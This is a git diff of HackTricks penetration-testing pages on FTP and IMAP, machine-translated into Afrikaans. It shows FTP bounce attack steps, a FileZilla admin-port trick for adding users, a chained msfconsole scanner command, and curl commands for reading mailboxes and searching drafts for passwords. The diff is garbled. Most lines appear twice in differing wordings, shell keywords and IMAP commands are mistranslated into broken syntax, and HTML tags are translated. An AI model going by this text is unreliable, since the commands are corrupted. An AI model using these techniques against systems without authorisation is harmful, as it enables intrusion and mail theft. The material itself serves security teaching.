* **`PORT 127,0,0,1,0,80`** Dit sal die FTP-bediener aandui om 'n verbinding met die IP 127.0.0.1 op poort 80 te vestig (_jy moet die 5de karakter as "0" plaas en die 6de as die poort in desimaal of gebruik die 5de en 6de om die poort in heksadesimaal uit te druk_).
|
||||
* **`EPRT |2|127.0.0.1|80|`** Dit sal die FTP-bediener aandui om 'n TCP-verbinding (_aangedui deur "2"_) met die IP 127.0.0.1 op poort 80 te vestig. Hierdie opdrag **ondersteun IPv6**.
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\*Dit sal aandui dat die FTP-bedienaar 'n verbinding moet vestig met die IP 127.0.0.1 op poort 80 (_jy moet die 5de karakter as "0" plaas en die 6de as die poort in desimaal of gebruik die 5de en 6de om die poort in heksadesimaal uit te druk_).
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Dit sal aandui dat die FTP-bedienaar 'n TCP-verbinding (_aangedui deur "2"_) moet vestig met die IP 127.0.0.1 op poort 80. Hierdie opdrag **ondersteun IPv6**.
|
||||
* **`LIST`** Dit sal die lys van lêers in die huidige gids stuur
|
||||
* **`LIST -R`** Lys rekursief (indien toegelaat deur die bediener)
|
||||
* **`APPE /pad/iets.txt`** Dit sal die FTP aandui om die data wat ontvang is van 'n **passiewe** verbinding of van 'n **PORT/EPRT** verbinding na 'n lêer te stoor. As die lêernaam bestaan, sal dit die data byvoeg.
|
||||
* **`STOR /pad/iets.txt`** Soos `APPE` maar dit sal die lêers oorskryf
|
||||
* **`LIST -R`** Lys herhaaldelik (indien toegelaat deur die bediener)
|
||||
* **`APPE /pad/iets.txt`** Dit sal die FTP aandui om die ontvangs van data van 'n **passiewe** verbinding of van 'n **PORT/EPRT**-verbinding na 'n lêer te stoor. As die lêernaam bestaan, sal dit die data byvoeg.
|
||||
* **`STOR /pad/iets.txt`** Soos `APPE` maar dit sal lêers oorskryf
|
||||
* **`STOU /pad/iets.txt`** Soos `APPE`, maar as dit bestaan, sal dit niks doen nie.
|
||||
* **`RETR /pad/na/lêer`** 'n Passiewe of 'n poortverbinding moet tot stand gebring word. Dan sal die FTP-bediener die aangeduide lêer deur daardie verbinding stuur
|
||||
* **`REST 6`** Dit sal die bediener aandui dat volgende keer as dit iets stuur met behulp van `RETR`, moet dit begin by die 6de byte.
|
||||
* **`TYPE i`** Stel oordrag na binêre in
|
||||
* **`RETR /pad/na/lêer`** 'n Passiewe of 'n poortverbinding moet gevestig word. Dan sal die FTP-bedienaar die aangeduide lêer deur daardie verbinding stuur
|
||||
* **`REST 6`** Dit sal die bediener aandui dat volgende keer as dit iets stuur met `RETR` dit moet begin by die 6de byte.
|
||||
* **`TYPE i`** Stel oordrag na binêr
|
||||
* **`PASV`** Dit sal 'n passiewe verbinding oopmaak en die gebruiker aandui waar hy kan koppel
|
||||
* **`PUT /tmp/lêer.txt`** Laai die aangeduide lêer na die FTP op
|
||||
* **`PUT /tmp/lêer.txt`** Laai die aangeduide lêer na die FTP
|
||||
|
||||
![](<../../.gitbook/assets/image (227).png>)
|
||||
|
||||
## FTPBounce-aanval
|
||||
|
||||
Sommige FTP-bedieners laat die opdrag PORT toe. Hierdie opdrag kan gebruik word om aan die bediener aan te dui dat jy wil koppel aan 'n ander FTP-bediener by 'n sekere poort. Dan kan jy dit gebruik om te skandeer watter poorte van 'n gasheer oop is deur 'n FTP-bediener.
|
||||
Sommige FTP-bedieners laat die opdrag PORT toe. Hierdie opdrag kan gebruik word om aan die bediener aan te dui dat jy wil koppel aan 'n ander FTP-bediener op 'n sekere poort. Dan kan jy dit gebruik om te skandeer watter porte van 'n gasrekenaar oop is deur 'n FTP-bediener.
|
||||
|
||||
[**Leer hier hoe om 'n FTP-bediener te misbruik om poorte te skandeer.**](ftp-bounce-attack.md)
|
||||
[**Leer hier hoe om 'n FTP-bedienaar te misbruik om porte te skandeer.**](ftp-bounce-attack.md)
|
||||
|
||||
Jy kan ook hierdie gedrag misbruik om 'n FTP-bediener te laat interaksie met ander protokolle. Jy kan **'n lêer oplaai wat 'n HTTP-versoek bevat** en die kwesbare FTP-bediener **stuur dit na 'n willekeurige HTTP-bediener** (_miskien om 'n nuwe administrateurgebruiker by te voeg?_) of selfs 'n FTP-versoek oplaai en die kwesbare FTP-bediener 'n lêer laat aflaai vir 'n ander FTP-bediener.\
|
||||
Die teorie is eenvoudig:
|
||||
Jy kan ook hierdie gedrag misbruik om 'n FTP-bediener te laat interaksie hê met ander protokolle. Jy kan **'n lêer oplaai wat 'n HTTP-aanvraag bevat** en die kwesbare FTP-bediener **dit stuur na 'n willekeurige HTTP-bediener** (_miskien om 'n nuwe administrateurgebruiker by te voeg?_) of selfs 'n FTP-aanvraag oplaai en die kwesbare FTP-bediener 'n lêer laat aflaai vir 'n ander FTP-bediener.\
|
||||
Die teorie is maklik:
|
||||
|
||||
1. **Laai die versoek (binne 'n tekslêer) na die kwesbare bediener op.** Onthou dat as jy met 'n ander HTTP- of FTP-bediener wil praat, jy lyne met `0x0d 0x0a` moet verander
|
||||
2. **Gebruik `REST X` om te voorkom dat jy die karakters stuur wat jy nie wil stuur nie** (miskien om die versoek binne die lêer te plaas, moes jy 'n beeldkop by die begin sit)
|
||||
3. **Gebruik `PORT` om aan te sluit by die willekeurige bediener en diens**
|
||||
4. **Gebruik `RETR` om die gestoorde versoek na die bediener te stuur.**
|
||||
1. **Laai die aanvraag (binne 'n tekslêer) na die kwesbare bediener.** Onthou dat as jy wil kommunikeer met 'n ander HTTP- of FTP-bediener, moet jy lyne met `0x0d 0x0a` verander
|
||||
2. **Gebruik `REST X` om te verhoed dat jy die karakters stuur wat jy nie wil stuur nie** (miskien om die aanvraag binne die lêer te plaas, moes jy 'n beeldkop aan die begin sit)
|
||||
3. **Gebruik `PORT` om te koppel aan die willekeurige bediener en diens**
|
||||
4. **Gebruik `RETR` om die gestoorde aanvraag na die bediener te stuur.**
|
||||
|
||||
Dit is baie waarskynlik dat dit **'n fout sal veroorsaak soos** _**Socket not writable**_ **omdat die verbinding nie lank genoeg duur om die data met `RETR` te stuur nie**. Voorstelle om te probeer om dit te voorkom, is:
|
||||
Dit is baie waarskynlik dat dit **'n fout soos** _**Socket nie skryfbaar nie**_ **sal veroorsaak omdat die verbinding nie genoeg duur om die data met `RETR` te stuur**. Voorstelle om te probeer om dit te vermy is:
|
||||
|
||||
* As jy 'n HTTP-versoek stuur, **plaas dieselfde versoek agter mekaar** tot **\~0.5MB** ten minste. Soos hier:
|
||||
* As jy 'n HTTP-aanvraag stuur, **plaas dieselfde aanvraag agter mekaar** tot **\~0.5MB** ten minste. Soos:
|
||||
|
||||
{% file src="../../.gitbook/assets/posts (1).txt" %}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
|
||||
* Probeer om **die versoek met "rommel" data te vul wat verband hou met die protokol** (as jy met FTP praat, dalk net rommelopdragte of die `RETR`-instruksie herhaal om die lêer te kry)
|
||||
* Vul die versoek net met baie nulkarakters of ander karakters (verdeel op lyne of nie)
|
||||
* Probeer om **die aanvraag te vul met "rommel" data relatief tot die protokol** (as jy met FTP praat, dalk net rommelopdragte of herhaling van die `RETR`-instruksie om die lêer te kry)
|
||||
* Vul net **die aanvraag met baie nul karakters of ander karakters** (verdeel op lyne of nie)
|
||||
|
||||
Hoe dan ook, hier het jy 'n [ou voorbeeld oor hoe om dit te misbruik om 'n FTP-bediener 'n lêer van 'n ander FTP-bediener te laat aflaai.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Filezilla Server-kwesbaarheid
|
||||
## Filezilla-bedienervulnerabiliteit
|
||||
|
||||
**FileZilla** bind gewoonlik aan 'n **plaaslike** Administratiewe diens vir die **FileZilla-Bediener** (poort 14147). As jy 'n **tonnel** van **jou masjien** kan skep om toegang tot hierdie poort te verkry, kan jy **daaraan koppel** deur 'n **leë wagwoord** te gebruik en 'n **nuwe gebruiker** vir die FTP-diens te skep.
|
||||
**FileZilla** bind gewoonlik aan 'n **plaaslike** Administratiewe diens vir die **FileZilla-Bediener** (poort 14147). As jy 'n **tonnel** kan skep vanaf **jou rekenaar** om toegang tot hierdie poort te verkry, kan jy daaraan **koppel** met 'n **leë wagwoord** en 'n **nuwe gebruiker** skep vir die FTP-diens.
|
||||
|
||||
## Konfigurasie-lêers
|
||||
## Konfigurasie lêers
|
||||
```
|
||||
ftpusers
|
||||
ftp.conf
|
||||
proftpd.conf
|
||||
vsftpd.conf
|
||||
```
|
||||
### Post-Exploitasie
|
||||
### Post-Exploitation
|
||||
|
||||
Die verstekkonfigurasie van vsFTPd kan gevind word in `/etc/vsftpd.conf`. Hierin kan jy 'n paar gevaarlike instellings vind:
|
||||
Die verstekkonfigurasie van vsFTPd kan gevind word in `/etc/vsftpd.conf`. Hier kan jy enkele gevaarlike instellings vind:
|
||||
|
||||
* `anonymous_enable=YES`
|
||||
* `anon_upload_enable=YES`
|
||||
* `anon_mkdir_write_enable=YES`
|
||||
* `anon_root=/home/username/ftp` - Gids vir anonieme gebruikers.
|
||||
* `chown_uploads=YES` - Verander eienaarskap van anoniem opgelaai lêers
|
||||
* `chown_username=username` - Gebruiker wat eienaarskap van anoniem opgelaai lêers kry
|
||||
* `local_enable=YES` - Stel plaaslike gebruikers in staat om aan te meld
|
||||
* `no_anon_password=YES` - Moenie anoniem vir wagwoord vra nie
|
||||
* `write_enable=YES` - Staaf opdragte toe: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, en SITE
|
||||
- `anonymous_enable=YES`
|
||||
- `anon_upload_enable=YES`
|
||||
- `anon_mkdir_write_enable=YES`
|
||||
- `anon_root=/home/username/ftp` - Gids vir anonieme gebruikers.
|
||||
- `chown_uploads=YES` - Verander eienaarskap van anoniem opgelaai lêers
|
||||
- `chown_username=username` - Gebruiker wat eienaarskap van anoniem opgelaai lêers kry
|
||||
- `local_enable=YES` - Stel plaaslike gebruikers in staat om aan te meld
|
||||
- `no_anon_password=YES` - Moet nie anonieme vir wagwoord vra nie
|
||||
- `write_enable=YES` - Laat opdragte toe: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, en SITE
|
||||
|
||||
### Shodan
|
||||
|
||||
* `ftp`
|
||||
* `port:21`
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) vandag.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
- `ftp`
|
||||
- `port:21`
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Outomatiese Opdragte
|
||||
```
|
||||
Protocol_Name: FTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 21 #Comma separated if there is more than one.
|
||||
|
@ -288,14 +267,14 @@ Description: FTP enumeration without the need to run msfconsole
|
|||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
|
||||
```
|
||||
<details>
|
||||
<besonderhede>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<opsomming><sterk>Leer AWS-hacking vanaf nul tot held met</sterk> <a href="https://training.hacktricks.xyz/courses/arte"><sterk>htARTE (HackTricks AWS Red Team Expert)</sterk></a><sterk>!</sterk></opsomming>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
</besonderhede>
|
||||
|
|
|
@ -2,66 +2,38 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
## Internetboodskaptoegangprotokol
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Internet Message Access Protocol
|
||||
|
||||
Die **Internet Message Access Protocol (IMAP)** is ontwerp om gebruikers in staat te stel om hul e-posse van enige plek af te **toegang**, hoofsaaklik deur middel van 'n internetverbinding. In essensie word e-posse **op 'n bediener behou** in plaas daarvan om afgelaai en gestoor te word op 'n individu se persoonlike toestel. Dit beteken dat wanneer 'n e-pos geopen of gelees word, dit **direk vanaf die bediener** gedoen word. Hierdie vermoë maak dit gerieflik om e-posse vanaf **verskeie toestelle** te kontroleer, om te verseker dat geen boodskappe gemis word nie, ongeag die gebruikte toestel.
|
||||
Die **Internetboodskaptoegangprotokol (IMAP)** is ontwerp met die doel om gebruikers in staat te stel om **hul e-posboodskappe vanaf enige plek te benader**, hoofsaaklik deur 'n internetverbinding. In essensie word e-posse **op 'n bediener behou** eerder as om afgehaal en gestoor te word op 'n individu se persoonlike toestel. Dit beteken dat wanneer 'n e-pos geopen of gelees word, dit **direk vanaf die bediener** gedoen word. Hierdie vermoë maak dit moontlik om gerieflik e-posse vanaf **verskeie toestelle** te kontroleer, wat verseker dat geen boodskappe gemis word nie, ongeag die gebruikte toestel.
|
||||
|
||||
Standaard werk die IMAP-protokol op twee poorte:
|
||||
|
||||
* **Poort 143** - dit is die verstek IMAP nie-gekripteerde poort
|
||||
* **Poort 993** - dit is die poort wat jy moet gebruik as jy veilig wil koppel met IMAP
|
||||
* **Poort 143** - dit is die verstek IMAP nie-geënkripteerde poort
|
||||
* **Poort 993** - dit is die poort wat jy moet gebruik as jy wil koppel deur IMAP veilig te gebruik
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
143/tcp open imap syn-ack
|
||||
```
|
||||
## Banner gryp
|
||||
|
||||
Banner gryp is 'n tegniek wat gebruik word om inligting oor 'n IMAP-diens te verkry deur die banner te ondersoek wat deur die diens tydens die verbinding verskaf word. Die banner is 'n stuk teks wat deur die diens teruggestuur word as deel van die verwelkomingsboodskap wanneer 'n kliënt suksesvol met die diens verbind.
|
||||
|
||||
Hier is 'n voorbeeld van 'n IMAP-banner:
|
||||
|
||||
```
|
||||
* OK [CAPABILITY IMAP4rev1 STARTTLS AUTH=PLAIN] IMAP4rev1 Service Ready
|
||||
```
|
||||
|
||||
Die banner kan waardevolle inligting verskaf, soos die diens se naam, weergawe, ondersteunde funksies en selfs sekuriteitskwessies. Dit kan 'n nuttige beginpunt wees vir 'n aanvaller om die diens te ondersoek en potensiële aanvalsveilighede te identifiseer.
|
||||
|
||||
Om 'n banner gryp uit te voer, kan jy 'n netwerk-skanderingstool soos Nmap gebruik. Hier is 'n voorbeeld van die gebruik van Nmap om 'n IMAP-diens se banner te gryp:
|
||||
|
||||
```
|
||||
nmap -p 143 --script imap-capabilities <target>
|
||||
```
|
||||
|
||||
Dit sal die banner van die IMAP-diens op die gespesifiseerde teiken skandeer en die ondersteunde funksies en protokolversie toon.
|
||||
|
||||
Dit is belangrik om banner gryp met omsigtigheid uit te voer, aangesien dit 'n potensiële aanvaller kan blootstel aan die diens en die risiko van opsporing kan verhoog. Dit moet slegs in 'n geoorloofde omgewing en met toestemming van die eienaar van die stelsel uitgevoer word.
|
||||
## Banier gryp
|
||||
```bash
|
||||
nc -nv <IP> 143
|
||||
openssl s_client -connect <IP>:993 -quiet
|
||||
```
|
||||
### NTLM-verifikasie - Inligtingsoffergawe
|
||||
### NTLM Auth - Inligtingsoffening
|
||||
|
||||
As die bediener NTLM-verifikasie ondersteun (Windows), kan jy sensitiewe inligting (weergawes) bekom:
|
||||
Indien die bediener NTLM-outentifisering ondersteun (Windows) kan jy sensitiewe inligting (weergawes) verkry:
|
||||
```
|
||||
root@kali: telnet example.com 143
|
||||
* OK The Microsoft Exchange IMAP4 service is ready.
|
||||
|
@ -70,14 +42,13 @@ root@kali: telnet example.com 143
|
|||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
Of **outomatiseer** dit met die **nmap** invoegtoepassing `imap-ntlm-info.nse`
|
||||
Of **outomatiseer** dit met **nmap** invoegtoepassing `imap-ntlm-info.nse`
|
||||
|
||||
### [IMAP Bruteforce](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
|
||||
## Sintaksis
|
||||
## Syntax
|
||||
|
||||
|
||||
IAMP-opdragvoorbeelde van [hier](https://donsutherland.org/crib/imap):
|
||||
IMAP-opdragvoorbeelde van [hier](https://donsutherland.org/crib/imap):
|
||||
```
|
||||
Login
|
||||
A1 LOGIN username password
|
||||
|
@ -125,16 +96,6 @@ Logout
|
|||
A1 LOGOUT
|
||||
```
|
||||
### Evolusie
|
||||
|
||||
IMAP (Internet Message Access Protocol) is 'n protokol wat gebruik word om e-pos te ontvang en te stuur. Dit is 'n belangrike diens wat deur baie e-posbedieners en -kliënte gebruik word. Die protokol het deur die jare geëvolueer om te voldoen aan die veranderende behoeftes van gebruikers en om sekuriteitskwessies aan te spreek.
|
||||
|
||||
Die oorspronklike IMAP-protokol, bekend as IMAP4, is in 1986 ontwikkel. Dit het die funksionaliteit gebied om e-posboodskappe op 'n bediener te stoor en te bestuur. Dit het ook toegelaat dat gebruikers e-posboodskappe op die bediener laat staan terwyl hulle slegs 'n gedeelte van die boodskappe op hul toestelle aflaai.
|
||||
|
||||
In 1993 is IMAP4 gereviseer en opgegradeer na IMAP4rev1. Hierdie opgradering het nuwe funksies en verbeterings gebring, soos die vermoë om e-posboodskappe in mappen te organiseer en om te gaan met gedeelde mappen. Dit het ook die gebruik van MIME (Multipurpose Internet Mail Extensions) ondersteun, wat die oordrag van nie-tekstuele inhoud soos bylae moontlik maak.
|
||||
|
||||
Die mees onlangse weergawe van IMAP is IMAP4rev2, wat in 2003 vrygestel is. Hierdie weergawe het verdere verbeterings gebring, insluitend die vermoë om e-posboodskappe te soek en te filter, en die ondersteuning van SSL/TLS vir veilige kommunikasie.
|
||||
|
||||
Die evolusie van IMAP het dit 'n kragtige en veelsydige protokol gemaak wat gebruikers in staat stel om e-posboodskappe effektief te bestuur en te organiseer. Dit is egter belangrik om bewus te wees van die sekuriteitskwessies wat met IMAP gepaard gaan en om toepaslike maatreëls te tref om die integriteit en vertroulikheid van e-pos te beskerm.
|
||||
```
|
||||
apt install evolution
|
||||
```
|
||||
|
@ -142,126 +103,91 @@ apt install evolution
|
|||
|
||||
### CURL
|
||||
|
||||
Basiese navigasie is moontlik met [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), maar die dokumentasie is lig op besonderhede, so dit is aanbeveel om die [bron](https://github.com/curl/curl/blob/master/lib/imap.c) te raadpleeg vir presiese besonderhede.
|
||||
Basiese navigasie is moontlik met [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), maar die dokumentasie is skaars oor die besonderhede, dus word dit aanbeveel om die [bron](https://github.com/curl/curl/blob/master/lib/imap.c) te raadpleeg vir presiese besonderhede.
|
||||
|
||||
1. Lys van posbusse (imap-opdrag `LIST "" "*"`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/' --user user:pass
|
||||
```
|
||||
2. Lys van boodskappe in 'n posbus (imap-opdrag `SELECT INBOX` en dan `SEARCH ALL`)
|
||||
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
||||
```
|
||||
Die resultaat van hierdie soektog is 'n lys van boodskapindekse.
|
||||
|
||||
The result of this search is a list of message indicies.
|
||||
|
||||
Its also possible to provide more complex search terms. e.g. searching for drafts with password in mail body:
|
||||
|
||||
Dit is ook moontlik om meer komplekse soekterme te verskaf. bv. soek na konsepte met wagwoord in e-pos liggaam:
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEKS wagwoord' --user gebruiker:wagwoord
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
'n Goeie oorsig van die soekterme moontlik is geleë [hier](https://www.atmail.com/blog/imap-commands/).
|
||||
|
||||
A nice overview of the search terms possible is located [here](https://www.atmail.com/blog/imap-commands/).
|
||||
|
||||
3. Downloading a message (imap command `SELECT Drafts` and then `FETCH 1 BODY[]`)
|
||||
|
||||
3. Aflaai van 'n boodskap (imap bevel `SELECT Drafts` en dan `FETCH 1 BODY[]`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
|
||||
Vertaal na Afrikaans:
|
||||
|
||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
```
|
||||
Die e-pos indeks sal dieselfde indeks wees wat teruggegee word deur die soekoperasie.
|
||||
|
||||
The mail index will be the same index returned from the search operation.
|
||||
|
||||
It is also possible to use `UID` (unique id) to access messages, however it is less conveniant as the search command needs to be manually formatted. E.g.
|
||||
|
||||
Dit is ook moontlik om `UID` (unieke id) te gebruik om boodskappe te benader, maar dit is minder gerieflik aangesien die soekbevel handmatig geformateer moet word. Byvoorbeeld:
|
||||
```bash
|
||||
```afrikaans
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
```
|
||||
```afrikaans
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SOEK ALLES' --user gebruiker:wagwoord
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user gebruiker:wagwoord
|
||||
```
|
||||
```
|
||||
|
||||
Also, possible to download just parts of a message, e.g. subject and sender of first 5 messages (the `-v` is required to see the subject and sender):
|
||||
|
||||
Ook moontlik om net dele van 'n boodskap af te laai, bv. onderwerp en afstuurder van die eerste 5 boodskappe (die `-v` is nodig om die onderwerp en afstuurder te sien):
|
||||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
|
||||
Vertaal na Afrikaans:
|
||||
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
|
||||
Although, its probably cleaner to just write a little for loop:
|
||||
|
||||
Hoewel dit waarskynlik skoner is om net 'n klein for-lus te skryf:
|
||||
```bash
|
||||
Vir m in {1..5}; doen
|
||||
for m in {1..5}; do
|
||||
echo $m
|
||||
curl "imap://1.2.3.4/INBOX;MAILINDEX=$m;SECTION=HEADER.FIELDS%20(SUBJECT%20FROM)" --user user:pass
|
||||
gedaan
|
||||
done
|
||||
```
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:143 CAPABILITY`
|
||||
* `port:993 CAPABILITY`
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
* `poort:143 VERMOË`
|
||||
* `poort:993 VERMOË`
|
||||
|
||||
## HackTricks Outomatiese Opdragte
|
||||
```
|
||||
Protokol_Naam: IMAP #Protokol Afkorting indien daar een is.
|
||||
Poort_Nommer: 143,993 #Komma geskei indien daar meer as een is.
|
||||
Protokol_Beskrywing: Internet Message Access Protocol #Protokol Afkorting voluit geskryf
|
||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 143,993 #Comma separated if there is more than one.
|
||||
Protocol_Description: Internet Message Access Protocol #Protocol Abbreviation Spelled out
|
||||
|
||||
Inskrywing_1:
|
||||
Naam: Notas
|
||||
Beskrywing: Notas vir WHOIS
|
||||
Nota: |
|
||||
Die Internet Message Access Protocol (IMAP) is ontwerp om gebruikers in staat te stel om hul e-pos boodskappe van enige plek te benader, hoofsaaklik deur middel van 'n internetverbinding. In wese word e-posse op 'n bediener behou in plaas daarvan om afgelaai en gestoor te word op 'n individu se persoonlike toestel. Dit beteken dat wanneer 'n e-pos geopen of gelees word, dit direk vanaf die bediener gedoen word. Hierdie vermoë maak dit gerieflik om e-posse vanaf verskeie toestelle te kontroleer, om te verseker dat geen boodskappe gemis word nie, ongeag die gebruikte toestel.
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for WHOIS
|
||||
Note: |
|
||||
